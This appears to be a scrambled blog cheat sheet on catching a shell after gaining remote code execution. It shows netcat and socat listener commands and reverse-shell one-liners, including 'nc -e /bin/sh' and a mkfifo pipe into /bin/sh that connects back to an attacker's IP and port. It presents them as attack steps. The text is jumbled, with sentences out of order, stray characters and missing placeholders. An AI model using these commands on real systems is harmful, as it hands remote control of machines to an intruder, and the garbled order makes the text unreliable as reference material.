Socat Setting A Listener socat file:`tty`,raw,echo=0 tcp-listen:Įxamples socat file:`tty`,raw,echo=0 tcp-listen:4444 Older versions of nc don't have the nice -e option, so it has to be done slightly differently rm /tmp/f mkfifo /tmp/f cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/fĮxamples rm /tmp/f mkfifo /tmp/f cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4444 >/tmp/f Params : The IP address to connect back to with a shellĮxamples nc -e /bin/sh 192.168.56.101 4444 Newer versions have a nice option -e which allows binding of a process to an nc connection nc -e /bin/sh Params : The port to listen for a connection on This is often achieved using a reverse shell Netcat Setting A Listener nc -nvlp Often during the course of an attack, you may gain RCE, and using it you may want to gain a shell.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |